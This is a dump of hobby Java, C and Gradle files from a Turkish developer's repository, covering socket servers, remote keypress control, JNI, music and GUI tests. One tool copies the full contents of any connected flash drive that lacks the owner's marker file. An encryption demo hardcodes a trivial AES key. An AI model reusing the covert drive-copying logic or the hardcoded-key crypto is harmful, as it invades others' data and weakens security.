burada sonsuz dögü şeklinde habire gelen yazı var mı diye baklıyor
bu sayede gelen varsa alınıyor
gönderilene bakmaya gerek yok çünkü onu istediğimiz zaman gönderirirz ama gelene hep bakmamaız gerekiyor
zaten scanner gelirse alıyor yoksa döngü sürekli dönmüuor
*/
//int command = inputStream.read();
String command = "";
if (sc.hasNext()) {
/*
burada scanner gelen yazı var m ı diye bakıyor varsa geri bişey döndürüuor
yoksa habire bişey yollamıyor
*/
command = sc.nextLine();
System.out.println(command);
if (command.equals("recai + ")) {
writer.write("furkan + \n");
writer.flush();
/*
pc de kullanırken mutlaka flash kullanmalısın yoksa gitmez
*/
}
}
int commandInt = Integer.parseInt(command);
System.out.println(commandInt);
if (commandInt == EXIT_CMD) {
System.out.println("finish process");
break;
}
/*
burada işte yapan bişeyler belirlemiş gelen komuta göre mousu sağa sola kaydırıyor boş iş
*/
processCommand(commandInt);
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* Process the command from client
*
* @param command the command code
*/
private void processCommand(int command) {
try {
switch (command) {
case KEY_RIGHT:
robot.keyPress(KeyEvent.VK_RIGHT);
System.out.println("Right");
// release the key after it is pressed. Otherwise the event just keeps getting trigged
robot.keyRelease(KeyEvent.VK_RIGHT);
break;
case KEY_LEFT:
robot.keyPress(KeyEvent.VK_LEFT);
System.out.println("Left");
/*
burada işte kendimize göre bişeyler göndermeye çalıştık ama çok güzel çalışıyor
*/
os.write(1);
System.out.println("Gonderildi");
// release the key after it is pressed. Otherwise the event just keeps getting trigged
robot.keyRelease(KeyEvent.VK_LEFT);
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
<file_sep>/YksSonucParser/src/main/java/com/byrfb/parsers/ParserUtils.java
package com.byrfb.parsers;
import org.apache.poi.hssf.usermodel.HSSFSheet;
import org.apache.poi.ss.usermodel.Row;
public class ParserUtils {
static Parser<HSSFSheet> sheetParserarser = new SheetParser();
static Parser<Row> rowParser = new RowParser();
public static void parseSheet(HSSFSheet sheet){
sheetParserarser.parse(sheet);
}
public static void parseRow(Row row){
rowParser.parse(row);
}
}
<file_sep>/JniTests-2/native/Main/jni/src/deneme1.c
#include "../include/deneme1.h"
int topla(int a , int b){
return a+b+5;
}<file_sep>/HerokuTcpTest/src/main/java/com/byrfb/input/InputThread.java
package com.byrfb.input;
import java.io.IOException;
import java.net.Socket;
import java.util.Scanner;
public class InputThread extends Thread {
Scanner sc;
Socket sock;
Inputable inputable;
public InputThread(Socket socket, Inputable inputable) throws IOException {
this.sock = socket;
this.sc = new Scanner(socket.getInputStream());
this.inputable = inputable;
}
@Override
public void run() {
try {
this.read();
} catch (IOException e) {
e.printStackTrace();
}
}
public void read() throws IOException {
String clientGelen;
while (true) {
StringBuilder gelenVeri = new StringBuilder();
if (sc.hasNext()) {
if ((clientGelen = sc.nextLine()) != null) {
gelenVeri.append(clientGelen);
}
}
else{
break;
}
inputable.comingText(gelenVeri.toString());
}
}
}
<file_sep>/JMusicDenemeler/myDenemes/com/byrfb/jmusic/RTTest.java
package com.byrfb.jmusic;
import jm.audio.RTMixer;
import jm.audio.Instrument;
import jm.music.rt.RTLine;
import inst.PluckInst;
import jm.JMC;
public class RTTest implements JMC{
public static void main(String[] args){
int sampleRate = 44100;
Instrument inst = new PluckInst(sampleRate);
Instrument[] insts = new Instrument[] {inst};
RTLine[] rtlines = {new RealtimeMelody(insts)};
final RTMixer rtm = new RTMixer(rtlines);
rtm.begin();
}
}
<file_sep>/TcddEBiletBot/nbproject/private/config.properties
config=Main (4)
<file_sep>/KinematicTest Processing/src/com/byrfb/Skecth.java
package com.byrfb;
import java.awt.event.KeyEvent;
import java.util.ArrayList;
import java.util.List;
import com.byrfb.araclar.Cubuk;
import com.byrfb.araclar.Point;
import com.byrfb.araclar.TwoCubukSystem;
import com.byrfb.utils.Selector;
import controlP5.ControlP5;
import processing.core.PApplet;
import processing.core.PVector;
/*
Ana başlangıç Sket için burası
*/
public class Skecth extends PApplet {
ArrayList<Cubuk> cubuks;
/*
* Gui için kütüphane
*/
ControlP5 cp5;
ArrayList<float[]> konums = new ArrayList<float[]>();
/*
* Alttakiler sağ ve sol olmak üzre iki tane sistem kollar
*/
TwoCubukSystem sistem;
TwoCubukSystem sistem1;
/*
* Bu alttaki de sağ tıklama yaptığında ne kadar hızla dönme yapmasının
* değişkeni
*/
int radyalHiz;
int yariCap;
/*
* Mousenin takibi ve seçilecek yerin belirtilmesi için olan şey
*/
Selector selector;
public void settings() {
size(1500, 800);
}
public void setup() {
Main.setSkecth(this);
sistem = new TwoCubukSystem(new PVector(width / 2 + 50, height - 10));
sistem1 = new TwoCubukSystem(new PVector(width / 2 - 50, height - 10));
sistem.setTaraf(true);
setUpGui();
selector = new Selector();
}
int index = 0;
public void draw() {
update();
background(255);
sistem.draw();
sistem1.draw();
sistem.printAngle(selector);
sistem1.printAngle(selector);
selector.draw();
for (Point path : paths) {
path.draw();
}
// if(paths.size() > 1000) {
// paths.clear();
// }
textSize(20);
fill(0);
text(frameRate + " fps", 10, 100);
text(paths.size() + " adet", 10, 120);
PVector selectorCoord = selector.getCoord();
text( selectorCoord.toString(), selectorCoord.x - 20, selectorCoord.y -20);
}
long millis;
long tmpMillis;
private void saniyedeBir() {
// PVector vec = new PVector(konum[0], konum[1], konum[2]);
// selector.setCoord(vec.x, vec.y);
// index++;
}
ArrayList<Point> paths = new ArrayList<>();
float aci = 0;
boolean isPathFinish = false;
private void update() {
mouseDispatcher();
if(konums.size() > 0) {
float[] konum = konums.get(index);
findLine(selector.getCoord().x, selector.getCoord().y, konum[0], konum[1]);
}
if(isPathFinish) {
index++;
isPathFinish = false;
}
if (index >= konums.size() )
index = 0;
if (millis - tmpMillis > 1000) {
saniyedeBir();
tmpMillis = millis;
}
millis = millis();
}
/*
*/
private void mouseDispatcher() {
PVector vect = new PVector(mouseX, mouseY);
// selector.setCoord(vect.x, vect.y);
if (mousePressed) {
if (mouseButton == RIGHT) {
vect = PVector.fromAngle(aci);
vect.mult(yariCap);
vect.add(mouseX, mouseY);
selector.setCoord(vect.x, vect.y);
aci += 0.01 * radyalHiz;
paths.add(new Point(vect));
}
if (mouseButton == LEFT) {
System.out.println(selector.getCoord());
vect = selector.getCoord();
float[] nowKonum = new float[]{mouseX,mouseY};
boolean isContain = false;
for(float[] konum : konums) {
if(nowKonum[0] == konum[0] && nowKonum[1] == konum[1]) {
isContain = true;
}
}
if(!isContain) {
konums.add(nowKonum);
}
paths.add(new Point(vect.x,vect.y));
}
}
}
@Override
public void keyPressed() {
/*
* ekranın temizlenmedi için
*/
if (keyCode == KeyEvent.VK_C) {
paths.clear();
konums.clear();
}
/*
* Ekran fotosu alınması için
*/
if (keyCode == KeyEvent.VK_S) {
save("image.jpeg");
paths.clear();
}
if (keyCode == KeyEvent.VK_R) {
mouseX = width / 2;
mouseY = height / 2;
selector.setCoord(mouseX, mouseY);
}
if (keyCode == KeyEvent.VK_V) {
paths.clear();
}
}
private void setUpGui() {
cp5 = new ControlP5(this);
createSlider("radyalHiz", 300, new PVector(100, 350));
createSlider("yariCap", 500, new PVector(200, 350));
// add a vertical slider
}
private void createSlider(String degiskenAdi, int range, PVector position) {
cp5.addSlider(degiskenAdi).setColorLabel(color(0)).setPosition(position.x, position.y).setSize(20, 100)
.setRange(1, range).setValue(5);
cp5.getController(degiskenAdi).setLabel(degiskenAdi);
cp5.getController(degiskenAdi).getValueLabel().align(ControlP5.LEFT, ControlP5.BOTTOM_OUTSIDE).setPaddingX(0)
.setColor(0)
;
}
public void findLine( float x, float y, float konum, float konum2) {
float dx = Math.abs(konum - x);
float dy = Math.abs(konum2 - y);
float hiz = radyalHiz;
float sx = x < konum ? hiz : -hiz;
float sy = y < konum2 ? hiz : -hiz;
float err = dx-dy;
float e2;
float currentX = x;
float currentY = y;
// buraya plot ettirecen
PVector vectCurrent = new PVector(currentX, currentY);
PVector vectkonum = new PVector(konum, konum2);
if(PVector.dist(vectCurrent, vectkonum)<hiz) {
selector.setCoord(vectkonum);
currentX = konum;
currentY = konum2;
isPathFinish = true;
}
e2 = 2*err;
if(e2 > -1 * dy) {
err = err - dy;
currentX = currentX + sx;
}
if(e2 < dx) {
err = err + dx;
currentY = currentY + sy;
}
selector.setCoord(currentX, currentY);
}
}
// public void setup() {
// Cubuk.setSkecth(this);
//// frameRate(2);
//
//// setCubuks();
// setUpGui();
//
// }
// public void draw() {
// background(255);
// for (Cubuk cubuk : cubuks) {
// cubuk.draw();
// }
//
// if (slider != cubuks.size()) {
// setCubuks();
// }
//
//
// void setCubuks() {
// cubuks = new ArrayList<Cubuk>();
// Cubuk lastCubuk = new Cubuk(new PVector(width / 2, height / 2), 20, 20);
// for (int i = 0; i < slider; i++) {
// Cubuk cubuk2 = new Cubuk(lastCubuk.getSonKoordinat(), i * 10, i * 20);
// cubuks.add(cubuk2);
// lastCubuk = cubuk2;
// }
//
// }<file_sep>/javaDirCopy/nbproject/configs/Main (1).properties
main.class=FlashCopier.Main
<file_sep>/TcddEBiletBot/nbproject/private/private.properties
compile.on.save=true
do.depend=true
do.jar=false
javac.debug=true
javadoc.preview=true
user.properties.file=C:\\Users\\ByRfb\\AppData\\Roaming\\NetBeans\\8.0.2\\build.properties
<file_sep>/JniTests-2/native/Main/jni/Makefile
jniPath = "E:\Program Files\Java\jdk1.8.0_181\include"
jni-md-path = "E:\Program Files\Java\jdk1.8.0_181\include\win32"
CLASSPATH = "F:\WorkSpaces\Java\JniMingw\src\main\java"
javah = javah
javahFlags = -classpath $(CLASSPATH)
CC = gcc
CFLAGS = -I $(jniPath) -I $(jni-md-path) -c
BIT_FLAG = -m64
INC_DIR = include
SRC_DIR = src
OBJ_DIR = obj
BUILD_DIR = build
objects = main deneme1 deneme2
# $@ ilk değişken için sol taraftaki yani
# $< sağ taraf için
# $(patsubst %,$(OBJ_DIR)/%.o,$(objects)) bu ise object gibi çok dosyalı işlemlerde başına veya sonuna kelime eklemek için
%.exe: $(objects)
$(CC) $(patsubst %,$(OBJ_DIR)/%.o,$(objects)) -o $(BUILD_DIR)/$@
%.dll: $(objects)
$(CC) $(BIT_FLAG) -Wall -shared $(patsubst %,$(OBJ_DIR)/%.o,$(objects)) -o $(BUILD_DIR)/$@
$(objects) :
$(CC) $(CFLAGS) $(SRC_DIR)/$@.c -o $(OBJ_DIR)/$@.o
# create h file from java class
# make class=com.rfbsoft.natives.AppSound.Main Main.h
%.h:
$(javah) $(javahFlags) -o $(INC_DIR)/$@ $(class)
<file_sep>/JMusicDenemeler/myDenemes/com/byrfb/jmusic/ExtendedKitAudio.java
package com.byrfb.jmusic;
import inst.SimpleSampleInst;
import jm.JMC;
import jm.music.data.*;
import jm.music.tools.*;
import jm.util.*;
import jm.audio.*;
import jm.audio.io.*;
/**
* A short example which generates a drum kit pattern
* and writes to a MIDI file called ExtendedKit.mid
* @author <NAME>
*/
public final class ExtendedKitAudio implements JMC{
/////////////
//Attributes
/////////////
// audio instruments
private static SimpleSampleInst kickInst = new SimpleSampleInst("Kick.au", FRQ[36], true);
private static SimpleSampleInst snareInst = new SimpleSampleInst("Snare.au", FRQ[38], true);
private static SimpleSampleInst hatsInst = new SimpleSampleInst("Hats.au", FRQ[42], true);
private static SimpleSampleInst openHatsInst = new SimpleSampleInst("HHOpen.au", FRQ[46], false);
private static Instrument[] drumKit = {kickInst, snareInst, hatsInst, openHatsInst};
// data containers
private static Score pattern1 = new Score("JMDemo - Kit");
private static Part drumsBD = new Part("Kick", 0, 9); // 9 = MIDI channel 10
private static Part drumsSD = new Part("Snare", 1, 9); // 9 = MIDI channel 10
private static Part drumsHHC = new Part("Hats Closed", 2, 9); // 9 = MIDI channel 10
private static Part drumsHHO = new Part("Hats Open", 3, 9); // 9 = MIDI channel 10
private static Part drumsCY = new Part("Cymbal", 3, 9); // 9 = MIDI channel 10
private static Phrase phrBD = new Phrase(0.0);
private static Phrase phrSD = new Phrase(0.0);
private static Phrase phrHHC = new Phrase(0.0);
private static Phrase phrHHO = new Phrase(0.0);
private static Phrase end = new Phrase(64.0);
//define often used rests
private static Note restSQ = new Note(REST, SEMI_QUAVER); //rest
private static Note restC = new Note(REST, CROTCHET); //rest
////////////
//main
////////////
public static void main(String[] args){
//create an instance of the drum rhythm
ExtendedKitAudio ek = new ExtendedKitAudio();
// set tempo
pattern1.setTempo(100);
Play.midi(pattern1);
// normalise the jMusic score dynamics
Mod.normalise(pattern1);
//write an audio file of the score using the drumKit instruments
// Write.au(pattern1, "ExtendedDrums.au", drumKit);
}
//////////////
//constructor
//////////////
public ExtendedKitAudio() {
//Let us know things have started
System.out.println("Creating drum patterns . . .");
// make bass drum
this.doBassDrum();
//snare drum
this.doSnare();
// make hats
this.doHiHats();
//crash at the end
Note crashSB = new Note(49, 8.0); // crash
end.addNote(crashSB);
//Assemble the score
this.doScore();
}
////////////
//Methods
////////////
private void doBassDrum() {
//Create basic kick pattern
System.out.println("Doing kick drum. . .");
for(int r=0;r<8;r++){ // repeat 8 times
for(int i=0;i<4;i++){
Note note = new Note(36, CROTCHET, 127);
phrBD.addNote(note);
phrBD.addNote(restC);
}
}
}
private void doSnare() {
// make snare drum
System.out.println("Doing snare. . .");
for(int j=0;j<16;j++){ //repeat for 16 bars of 4/4
phrSD.addNote(restC);
Note snareC = new Note(38, CROTCHET, 127);
phrSD.addNote(snareC);
phrSD.addNote(restC);
for(int i=0;i<3;i++){ //vary the last crotchet beat each bar
int rand = (int)(Math.random()*3);
if (rand > 1) {
Note snareSEMI_QUAVER = new Note(38, SEMI_QUAVER);
phrSD.addNote(snareSEMI_QUAVER);
} else {
phrSD.addNote(restSQ);
}
}
phrSD.addNote(restSQ);
}
}
private void doHiHats() {
System.out.println("Doing Hi Hats. . .");
for(int r = 0; r < 8; r++){ //repeat for 8 two bar cycles
Note note1 = new Note(42, SEMI_QUAVER, (int)(Math.random()*80+45)); //start with closed hat
phrHHC.addNote(note1);
phrHHO.addNote(restSQ); // add a rest to the other HH part so they align
for(int i=0;i<30;i++){
double rand = Math.random();
if (rand < 0.1) { //select occasional open hi hat
Note note5 = new Note(46, SEMI_QUAVER, (int)(Math.random()*80+45));
phrHHO.addNote(note5);
phrHHC.addNote(restSQ);
} else {
Note note2 = new Note(42, SEMI_QUAVER, (int)(Math.random()*80+45));
phrHHC.addNote(note2);
phrHHO.addNote(restSQ);
}
}
Note note6 = new Note(46, SEMI_QUAVER, 60); // open hi hat at the end of the pattern
phrHHO.addNote(note6);
phrHHC.addNote(restSQ);
// accent every other beat of the closed hats
Mod.accents(phrHHC, 2.0);
}
}
private void doScore() {
// add phrases to the parts
System.out.println("Assembling. . .");
drumsBD.addPhrase(phrBD);
drumsSD.addPhrase(phrSD);
drumsHHC.addPhrase(phrHHC);
drumsHHO.addPhrase(phrHHO);
drumsCY.addPhrase(end);
// add the drum parts to a score.
pattern1.addPart(drumsBD);
pattern1.addPart(drumsSD);
pattern1.addPart(drumsHHC);
pattern1.addPart(drumsHHO);
pattern1.addPart(drumsCY);
}
}<file_sep>/HerokuTcpTest/src/main/java/com/byrfb/App.java
/*
* This Java source file was generated by the Gradle 'init' task.
*/
package com.byrfb;
import com.byrfb.connection.SocketConnection;
import org.apache.commons.cli.*;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
public class App {
public static void main(String[] args) throws IOException {
App app = new App();
app.appFunc(args);
}
public void appFunc(String... args) throws IOException {
CommandLine cmd = getCommandLine(args);
String portString = cmd.getOptionValue("port");
int port;
try {
port = Integer.parseInt(portString);
} catch (Exception e) {
port = 8080;
}
ServerSocket serverSocket = null;
Socket clientSocket = null;
try {
//*Server 7755 portundan Client'ı dinliyor *//
serverSocket = new ServerSocket(port);
} catch (Exception e) {
System.out.println("Port Hatası!");
}
System.out.println("SERVER BAŞLANTI İÇİN HAZIR... port = " + port);
while (true) {
new SocketConnection(serverSocket.accept()).start();
}
}
private CommandLine getCommandLine(String[] args) {
Options options = new Options();
Option input = new Option("p", "port", true, "Port for Connection");
input.setRequired(false);
options.addOption(input);
CommandLineParser parser = new DefaultParser();
HelpFormatter formatter = new HelpFormatter();
CommandLine cmd = null;
try {
cmd = parser.parse(options, args);
} catch (ParseException e) {
System.out.println(e.getMessage());
formatter.printHelp("utility-name", options);
System.exit(1);
}
return cmd;
}
}
<file_sep>/JavaSwingTwoWayBinding/settings.gradle
rootProject.name = 'JavaSwingTwoWayBinding'
<file_sep>/SimpleHttpServer/src/main/java/request/PostRequest.java
package request;
public class PostRequest extends Request {
public PostRequest(String parametersText) {
super(parametersText);
}
@Override
void solveParameters(String parametersText) {
String[] parameters = parametersText.split("&");
splitParameters(parameters);
}
}
<file_sep>/JavaEncrypDecrypt/src/encryptDecrypt/Main.java
package encryptDecrypt;
import java.io.UnsupportedEncodingException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class Main {
Cipher cipher;
String key = "1234567812345678"; // 128 bit key
Key aesKey;
public Main() {
aesKey = new SecretKeySpec(key.getBytes(), "AES");
try {
cipher = Cipher.getInstance("AES");
} catch (NoSuchAlgorithmException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchPaddingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private String encrypt(String text) throws InvalidKeyException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {
// encrypt the text
cipher.init(Cipher.ENCRYPT_MODE, aesKey);
byte[] encrypted = cipher.doFinal(text.getBytes("UTF-8"));
return new String(encrypted);
}
private String decrypt(String encrypted) throws InvalidKeyException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {
byte[] encrypted1 = encrypted.getBytes("UTF-8");
cipher.init(Cipher.DECRYPT_MODE, aesKey);
String decrypted = new String(cipher.doFinal(encrypted1),"UTF-8");
return decrypted;
}
public static void main(String[] args) throws InvalidKeyException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException {
Main main = new Main();
Scanner sc = new Scanner(System.in);
while(true) {
String encrypted = main.encrypt(sc.nextLine());
System.out.println(encrypted);
String decrypted = main.decrypt(encrypted);
System.out.println(decrypted);
}
}
}
<file_sep>/JniTest/bin/MainLibrary/Main.cpp
#include "Main.h"
#include <iostream>
JNIEXPORT void JNICALL Java_Main_helloWorld
(JNIEnv * env, jclass cls , jstring text) {
const char *str = env->GetStringUTFChars(text,0);
printf(str);
}
<file_sep>/JniTests-2/native/Main/jni/src/main.c
#include "../include/deneme1.h"
#include "../include/deneme2.h"
#include "../include/main.h"
#include <stdio.h>
/*
* Class: com_rfbsoft_natives_AppSound_Main
* Method: topla
* Signature: (II)I
*/
JNIEXPORT jint JNICALL Java_com_rfbsoft_natives_AppSound_Main_topla
(JNIEnv * env, jobject obje, jint var1, jint var2){
return topla(var1,var2);
}
/*
* Class: com_rfbsoft_natives_AppSound_Main
* Method: carp
* Signature: (II)I
*/
JNIEXPORT jint JNICALL Java_com_rfbsoft_natives_AppSound_Main_carp
(JNIEnv * env, jobject obje, jint var1, jint var2){
return carp(var1,var2);
}
void main(){
printf("Çalışıyor");
}<file_sep>/YksSonucParser/src/main/java/com/byrfb/objects/Brans.java
package com.byrfb.objects;
public class Brans {
String universite;
String fakulte;
String bolum;
public Brans(String programAdi) {
String programs[] = programAdi.split("/");
this.universite = programs[0];
this.fakulte = programs[1];
this.bolum = programs[2];
}
public String getUniversite() {
return universite;
}
public void setUniversite(String universite) {
this.universite = universite;
}
public String getFakulte() {
return fakulte;
}
public void setFakulte(String fakulte) {
this.fakulte = fakulte;
}
public String getBolum() {
return bolum;
}
public void setBolum(String bolum) {
this.bolum = bolum;
}
@Override
public String toString() {
return "Brans{" +
"universite='" + universite + '\'' +
", fakulte='" + fakulte + '\'' +
", bolum='" + bolum + '\'' +
'}';
}
}
<file_sep>/AdministorTest/libs/super-user-application-master/build.gradle
/*
* This file was generated by the Gradle 'init' task.
*/
plugins {
id 'java'
id 'maven-publish'
}
repositories {
mavenLocal()
maven {
url = 'http://repo.maven.apache.org/maven2'
}
}
dependencies {
compile 'net.java.dev.jna:jna-platform:4.1.0'
testCompile 'junit:junit:4.12'
}
group = 'com.byrfb.administor'
version = '1.0.0-SNAPSHOT'
description = 'Super User Application'
sourceCompatibility = '1.7'
task sourcesJar(type: Jar) {
classifier = 'sources'
from(sourceSets.main.allJava)
}
task javadocJar(type: Jar) {
classifier = 'javadoc'
from(javadoc.destinationDir)
}
publishing {
publications {
maven(MavenPublication) {
from(components.java)
artifact(sourcesJar)
artifact(javadocJar)
}
}
}
<file_sep>/JniTests-2/native/Main/jni/include/deneme2.h
int carp(int a , int b);<file_sep>/Libgdx with video Tests/html3DTest/core/src/com/byrfb/game/Game.java
package com.byrfb.game;
import com.badlogic.gdx.ApplicationAdapter;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.audio.Music;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.Texture;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.bulletphysics.test.HelloWorld;
import com.byrfb.jsLibraries.Library;
public class Game extends ApplicationAdapter {
SpriteBatch batch;
Texture img;
@Override
public void create () {
batch = new SpriteBatch();
Music music = Gdx.audio.newMusic(Gdx.files.internal("music.mp3"));
music.play();
img = new Texture("badlogic.jpg");
Library lib = new Library();
// lib.initAmmo();
// lib.consoleLog(String.valueOf(lib.topla(5, 6)));
HelloWorld.run();
}
@Override
public void render () {
Gdx.gl.glClearColor(1, 0, 0, 1);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT);
batch.begin();
batch.draw(img, 0, 0);
batch.end();
}
@Override
public void dispose () {
batch.dispose();
img.dispose();
}
}
<file_sep>/Py4J/java/settings.gradle
rootProject.name = 'Py4J'
<file_sep>/AdministorTest/settings.gradle
rootProject.name = 'AdministorTest'
ext.includeWithPath = { param1, param2 ->
include param1
project(param1).projectDir = new File(param2)
}
includeWithPath(':superuser' , "./libs/super-user-application-master")
<file_sep>/SocketSimpleEcho/src/main/Main.java
package main;
// Java implementation of Server side
// It contains two classes : Server and ClientHandler
// Save file as Server.java
import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;
// Server class
public class Main {
public static void main(String[] args) throws IOException {
// server is listening on port 5056
ServerSocket ss = new ServerSocket(8080);
// running infinite loop for getting
// client request
while (true) {
Socket s = null;
try {
// socket object to receive incoming client requests
s = ss.accept();
System.out.println("A new client is connected : " + s);
// obtaining input and out streams
InputStream dis = new DataInputStream(s.getInputStream());
OutputStream dos = new DataOutputStream(s.getOutputStream());
System.out.println("Assigning new thread for this client");
// create a new thread object
ClientHandler t = new ClientHandler(s, dis, dos);
// Invoking the start() method
t.start();
t.write("Deneme");
} catch (Exception e) {
s.close();
e.printStackTrace();
}
}
}
}
// ClientHandler class
class ClientHandler extends Thread {
final InputStream dis;
final OutputStream dos;
final Socket s;
PrintWriter writer;
// Constructor
public ClientHandler(Socket s, InputStream dis, OutputStream dos) {
this.s = s;
this.dis = dis;
this.dos = dos;
writer = new PrintWriter(dos);
for(int i = 0 ; i<100;i++) {
this.write("adasdsadsasads");
}
}
@Override
public void run() {
Scanner br = new Scanner(dis);
String received;
while (true) {
String str;
while ((str = br.nextLine()) != null) {
System.out.println(str);
if (str.equals(""))
break;
}
}
}
public void write(String text) {
writer.write(text + "\n");
writer.flush();
}
}
<file_sep>/QtJambiTest/src/main/Main.java
package main;
import com.trolltech.qt.gui.QApplication;
import com.trolltech.qt.gui.QMainWindow;
import pages.BasitGuiQt;
import pages.Ui_MainWindow;
public class Main {
/*
*
* çok güzel bir şekilde çalışmakta kendi jarı içine zaten gömmüşler baba
*/
public static void main(String[] args) {
QApplication.initialize(args);
QMainWindow mainWindow = new QMainWindow();
Ui_MainWindow mainUIWindow = new Ui_MainWindow();
// BasitGuiQt mainUIWindow = new BasitGuiQt();
mainUIWindow.setupUi(mainWindow);
mainWindow.show();
QApplication.execStatic();
}
}
<file_sep>/ffmpegConverterScript/src/com/byrfb/ffmpeg/Mkv2Mp4.java
package com.byrfb.ffmpeg;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import javax.swing.JFileChooser;
import javax.swing.filechooser.FileNameExtensionFilter;
public class Mkv2Mp4 {
static File inputFile;
static File outputFile;
public static void main(String[] args) throws InterruptedException, IOException {
JFileChooser chooser = new JFileChooser();
FileNameExtensionFilter filter = new FileNameExtensionFilter(
"Mkv File", "mkv");
chooser.setDialogTitle("Mkv File");
chooser.setFileFilter(filter);
int returnVal = chooser.showOpenDialog(null);
if(returnVal == JFileChooser.APPROVE_OPTION) {
inputFile = chooser.getSelectedFile();
System.out.println("You chose to open this file: " +
chooser.getSelectedFile());
}
FileNameExtensionFilter filter2 = new FileNameExtensionFilter(
"Mp4 File", "mp4");
chooser.setDialogTitle("Mp4 File");
chooser.setFileFilter(filter2);
returnVal = chooser.showOpenDialog(null);
if(returnVal == JFileChooser.APPROVE_OPTION) {
outputFile = chooser.getSelectedFile();
System.out.println("You chose to open this file: " +
chooser.getSelectedFile());
}
if(inputFile == null || outputFile == null) {
System.out.println("Dosya yok");
System.exit(404);
}
// ProcessBuilder processBuilder = new ProcessBuilder();
// processBuilder.command();
//
// processBuilder.redirectOutput(Redirect.PIPE);
//
// processBuilder.directory(new File(System.getProperty("user.dir").replace("\\", "/") + "/lib"));
// Process process = processBuilder.start();
// int waitFlag = process.waitFor();// Wait to finish application execution.
// if (waitFlag == 0) {
//
// returnVal = process.exitValue();
// System.out.println("Converted With status Code : " + returnVal);
// }
String command = "lib/ffmpeg64.exe -i "+inputFile.getAbsolutePath()+" -vcodec copy -acodec copy "+outputFile.getAbsolutePath();
// Process process = new ProcessBuilder(command.replace("\\", "/")).start();
// InputStream is = (InputStream) process.getInputStream();
// InputStreamReader isr = new InputStreamReader(is);
// BufferedReader br = new BufferedReader(isr);
// String line;
//
// System.out.printf("Output of running %s is:", Arrays.toString(args));
//
// while ((line = br.readLine()) != null) {
// System.out.println(line);
// }
String line;
Process p = Runtime.getRuntime().exec(command);
BufferedReader bri = new BufferedReader
(new InputStreamReader(p.getInputStream()));
BufferedReader bre = new BufferedReader
(new InputStreamReader(p.getErrorStream()));
while ((line = bri.readLine()) != null) {
System.out.println(line);
}
bri.close();
while ((line = bre.readLine()) != null) {
System.out.println(line);
}
bre.close();
// p.waitFor();
System.out.println("Done.");
}
}
<file_sep>/HibernateTest/src/com/byrfb/entities/Telefon.java
package com.byrfb.entities;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Table;
@Entity
@Table(name = "telefons")
public class Telefon {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private int id;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getMarka() {
return marka;
}
public void setMarka(String marka) {
this.marka = marka;
}
public String getModel() {
return model;
}
public void setModel(String model) {
this.model = model;
}
private String marka, model;
@Override
public String toString() {
// TODO Auto-generated method stub
return "Id = " + id + " Marka " + marka + " Model " + model;
}
}
<file_sep>/BluetoothJavaComputer/bluetooth-client/BluetoothTest/settings.gradle
rootProject.name = 'BluetoothTest'
include ':blueLib'
project(':blueLib').projectDir = new File('../')
<file_sep>/javaDirCopy/src/ownflasprocessors/OwnSolver.java
package ownflasprocessors;
import java.io.File;
import java.io.IOException;
import FlashCopier.DirectoryCopier;
public class OwnSolver {
/*
* bu sınıf bağlanan flasha göre işlem yapar
* bakıyo işte flash senin mi deilm mi diye
* seninse zaten kopyalamaz
* senin değilse anasını avradını siker
*
*
*/
File sourceFile;
String ownBelirtec = "ownFlash.txt";
public static CopyProcessProgressor progress ;
public OwnSolver(File ownPath) {
this.sourceFile = ownPath;
progress = new CopyProcessProgressor(sourceFile);
File ownBelirtecFile = new File(sourceFile,ownBelirtec);
System.out.println(ownBelirtecFile.getAbsolutePath());
if(ownBelirtecFile.exists()) {
// System.out.println("File Bulundu");
OwnFlashCopier copier = new OwnFlashCopier(sourceFile);
progress.progress(null);
}
else {
new DirectoryCopier(sourceFile.getAbsolutePath());
}
}
}
<file_sep>/HibernateTest/src/com/byrfb/gui/PageController.java
package com.byrfb.gui;
import java.net.URL;
import java.util.ResourceBundle;
import com.byrfb.dao.TelefonDao;
import com.byrfb.entities.Telefon;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.scene.control.Button;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableView;
import javafx.scene.control.TextField;
import javafx.scene.control.cell.PropertyValueFactory;
public class PageController implements Initializable {
@FXML
private TextField txtId;
@FXML
private TextField txtMarka;
@FXML
private TextField txtModel;
@FXML
private Button btnEkle;
@FXML
private Button btnDuzenle;
@FXML
private Button btnSil;
@FXML
private TableView<Telefon> tableTelefons;
@FXML
private TableColumn<?, ?> clmSira;
@FXML
private TableColumn<?, ?> clmId;
@FXML
private TableColumn<?, ?> clmMarka;
@FXML
private TableColumn<?, ?> clmModel;
@FXML
void telefonDuzenle(ActionEvent event) {
Telefon telefon = dao.getTelefon(Integer.parseInt(txtId.getText()));
telefon.setMarka(txtMarka.getText());
telefon.setModel(txtModel.getText());
dao.updateTelefon(telefon);
getList();
}
@FXML
void telefonEkle(ActionEvent event) {
Telefon telefon = new Telefon();
telefon.setMarka(txtMarka.getText());
telefon.setModel(txtModel.getText());
